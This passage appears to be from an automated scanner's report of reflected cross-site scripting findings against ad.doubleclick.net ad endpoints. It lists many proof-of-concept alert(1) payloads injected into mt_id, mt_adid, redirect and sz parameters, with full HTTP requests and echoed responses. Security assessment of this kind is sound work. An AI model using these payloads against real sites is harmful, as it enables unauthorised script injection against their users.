This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=1082092b345"-alert(1)-"d5c45be131d&mt_adid=100293&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:07 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5832

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=1082092b345"-alert(1)-"d5c45be131d&mt_adid=100293&redirect=http%3a%2f%2fclk.atdmt.com/GRK/go/296095966/direct/01/");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "
...[SNIP]...

3.4. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64a23'-alert(1)-'2677801c6b9 was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=10820964a23'-alert(1)-'2677801c6b9&mt_adid=100293&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5832

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=10820964a23'-alert(1)-'2677801c6b9&mt_adid=100293&redirect=http%3a%2f%2fclk.atdmt.com/GRK/go/296095966/direct/01/\">
...[SNIP]...

3.5. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a56a1'-alert(1)-'9136e52bb72 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293&redirect=a56a1'-alert(1)-'9136e52bb72 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5832
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:27:28 GMT
Expires: Mon, 07 Feb 2011 02:27:28 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293&redirect=a56a1'-alert(1)-'9136e52bb72http%3a%2f%2fclk.atdmt.com/GRK/go/296095966/direct/01/\">
...[SNIP]...

3.6. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93598"-alert(1)-"2cf0fabfdd0 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293&redirect=93598"-alert(1)-"2cf0fabfdd0 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5832
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:27:23 GMT
Expires: Mon, 07 Feb 2011 02:27:23 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293&redirect=93598"-alert(1)-"2cf0fabfdd0http%3a%2f%2fclk.atdmt.com/GRK/go/296095966/direct/01/");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow
...[SNIP]...

3.7. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e079"-alert(1)-"2a7444a0285 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=1150626578837087582e079"-alert(1)-"2a7444a0285&mt_id=108209&mt_adid=100293&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:26:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5832

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=1150626578837087582e079"-alert(1)-"2a7444a0285&mt_id=108209&mt_adid=100293&redirect=http%3a%2f%2fclk.redcated/GRK/go/296095966/direct/01/");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscr
...[SNIP]...

3.8. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60df4'-alert(1)-'c9f82baf3eb was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=11506265788370875860df4'-alert(1)-'c9f82baf3eb&mt_id=108209&mt_adid=100293&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5832

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=11506265788370875860df4'-alert(1)-'c9f82baf3eb&mt_id=108209&mt_adid=100293&redirect=http%3a%2f%2fclk.redcated/GRK/go/296095966/direct/01/\">
...[SNIP]...

3.9. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ee78"-alert(1)-"efef978bc1a was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=1002931ee78"-alert(1)-"efef978bc1a&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5940

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
3Bh%3Dv8/3aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=1002931ee78"-alert(1)-"efef978bc1a&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess
...[SNIP]...

3.10. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a7dc'-alert(1)-'55516c4309 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=1002932a7dc'-alert(1)-'55516c4309&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:21 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5936

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
3Bh%3Dv8/3aa7/f/7d/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=1002932a7dc'-alert(1)-'55516c4309&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297\">
...[SNIP]...

3.11. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b51b4"-alert(1)-"a1b3e2ed110 was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456b51b4"-alert(1)-"a1b3e2ed110&mt_adid=100293&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:08 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5940

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456b51b4"-alert(1)-"a1b3e2ed110&mt_adid=100293&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcal
...[SNIP]...

3.12. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89c2c'-alert(1)-'91bc6693606 was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=10945689c2c'-alert(1)-'91bc6693606&mt_adid=100293&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5940

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick.net/click%3Bh%3Dv8/3aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=10945689c2c'-alert(1)-'91bc6693606&mt_adid=100293&redirect=http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297\">
...[SNIP]...

3.13. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16119'-alert(1)-'79d788ac1d9 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=100293&redirect=16119'-alert(1)-'79d788ac1d9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5940
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:27:29 GMT
Expires: Mon, 07 Feb 2011 02:27:29 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=100293&redirect=16119'-alert(1)-'79d788ac1d9http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297\">
...[SNIP]...

3.14. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9b42"-alert(1)-"bb18e09f345 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=100293&redirect=f9b42"-alert(1)-"bb18e09f345 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5940
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:27:25 GMT
Expires: Mon, 07 Feb 2011 02:27:25 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
aa7/f/7e/%2a/m%3B235905438%3B0-0%3B0%3B59689842%3B2321-160/600%3B40558590/40576377/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=140093500725271895&mt_id=109456&mt_adid=100293&redirect=f9b42"-alert(1)-"bb18e09f345http%3a%2f%2fwww.proactiv.com/lp/em_overnight/%3Fuci%3DUS-PA-O-DI-OM-2297");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never"
...[SNIP]...

3.15. http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5233701.14

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f009"-alert(1)-"a91a102c09b was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5233701.14;sz=160x600;click1=http://pixel.mathtag.com/click/img?mt_aid=1400935007252718956f009"-alert(1)-"a91a102c09b&mt_id=109456&mt_adid=100293&redirect=;ord=140093500725271895? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045627687&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
